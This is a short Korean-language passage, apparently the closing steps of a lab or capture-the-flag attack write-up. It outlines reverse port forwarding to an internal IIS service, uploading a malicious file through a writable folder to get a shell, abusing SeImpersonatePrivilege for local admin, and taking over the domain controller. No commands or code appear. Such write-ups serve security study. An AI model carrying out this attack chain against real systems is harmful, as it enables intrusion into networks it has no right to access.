  • [8] 호스트 내부에서 동작하는 서비스(8000번 포트) 발견 후 접근을 위해 리버스 포트 포워딩 진행
  • [9] 8000번 포트는 C:\inetpub\development 경로의 IIS 서버에서 운영되고 있음을 확인
  • [10] C.Bum 계정은 해당 경로에서 쓰기 권한이 존재, 악성 파일 업로드 후 iis appool 쉘 획득
  • [11] SeImpersonatePrivilege 권한 악용하여 로컬 관리자 권한 획득
  • [12] 도메인 컨트롤러 장악 완료

Reference